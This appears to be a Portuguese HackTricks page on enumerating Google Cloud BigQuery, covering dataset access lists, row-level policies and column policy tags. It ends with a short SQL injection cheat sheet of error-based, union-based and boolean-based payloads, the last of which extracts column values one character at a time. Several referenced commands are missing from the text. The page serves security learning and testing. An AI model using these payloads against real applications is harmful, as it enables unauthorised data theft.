GCP - Bigquery Enum
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Google Cloud BigQuery é um data warehouse empresarial totalmente gerenciado e sem servidor, oferecendo capacidades para análise de petabytes de dados, lidando assim com conjuntos de dados em grande escala de forma eficiente. Como uma Plataforma como Serviço (PaaS), fornece aos usuários infraestrutura e ferramentas para facilitar a gestão de dados sem a necessidade de supervisão manual.
Ele suporta consultas usando ANSI SQL. Os principais objetos são datasets contendo tables contendo data SQL.
Por padrão, uma chave de criptografia gerenciada pelo Google é usada, embora seja possível configurar uma chave de criptografia gerenciada pelo cliente (CMEK). É possível indicar a chave de criptografia por dataset e por tabela dentro de um dataset.
É possível indicar um tempo de expiração no dataset para que qualquer nova tabela criada neste dataset seja automaticamente excluída após o número especificado de dias após a criação.
Bigquery está profundamente integrado com outros serviços do Google. É possível carregar dados de buckets, pub/sub, google drive, bancos de dados RDS...
Quando um dataset é criado, ACLs são anexadas para dar acesso a ele. Por padrão, são concedidos privilégios de Owner ao usuário que criou o dataset e, em seguida, Owner ao grupo projectOwners (Proprietários do projeto), Writer ao grupo projectWriters e Reader ao grupo projectReaders:
É possível controlar as linhas que um principal poderá acessar dentro de uma tabela com políticas de acesso a linhas. Estas são definidas dentro da tabela usando DDL. A política de acesso define um filtro e apenas as linhas correspondentes a esse filtro serão acessíveis pelos principais indicados.
Para restringir o acesso aos dados no nível da coluna:
Defina uma taxonomia e tags de política. Crie e gerencie uma taxonomia e tags de política para seus dados. https://console.cloud.google.com/bigquery/policy-tags
Opcional: Conceda a função Leitor de Dados do Catálogo com Controle Fino a um ou mais principais em uma ou mais das tags de política que você criou.
Atribua tags de política às suas colunas do BigQuery. No BigQuery, use anotações de esquema para atribuir uma tag de política a cada coluna onde você deseja restringir o acesso.
Aplique controle de acesso na taxonomia. A aplicação do controle de acesso faz com que as restrições de acesso definidas para todas as tags de política na taxonomia sejam aplicadas.
Gerencie o acesso nas tags de política. Use Identity and Access Management (IAM) para restringir o acesso a cada tag de política. A política está em vigor para cada coluna que pertence à tag de política.
Quando um usuário tenta acessar dados de coluna no momento da consulta, o BigQuery verifica a tag de política da coluna e sua política para ver se o usuário está autorizado a acessar os dados.
Como resumo, para restringir o acesso a algumas colunas para alguns usuários, você pode adicionar uma tag à coluna no esquema e restringir o acesso dos usuários à tag aplicando controle de acesso na taxonomia da tag.
Para aplicar controle de acesso na taxonomia, é necessário habilitar o serviço:
É possível ver as tags das colunas com:
Para mais informações, você pode conferir o post do blog: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Aqui, apenas alguns detalhes serão fornecidos.
Comentários:
select 1#from here it is not working
select 1/*between those it is not working*/
Mas apenas o inicial não funcionará
select 1--from here it is not working
Obtenha informações sobre o ambiente como:
Usuário atual: select session_user()
ID do projeto: select @@project_id
Concatene linhas:
Todos os nomes das tabelas: string_agg(table_name, ', ')
Obtenha nomes de datasets, tabelas e colunas:
Nome do projeto e dataset:
Nomes de colunas e tabelas de todas as tabelas do conjunto de dados:
Outros conjuntos de dados no mesmo projeto:
Tipos de Injeção SQL:
Baseado em erro - conversão: select CAST(@@project_id AS INT64)
Baseado em erro - divisão por zero: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '
Baseado em união (você precisa usar ALL no bigquery): UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
Baseado em booleano: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
Potencial baseado em tempo - Uso de exemplos de conjuntos de dados públicos: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Documentação:
Lista de todas as funções: https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators
Declarações de script: https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)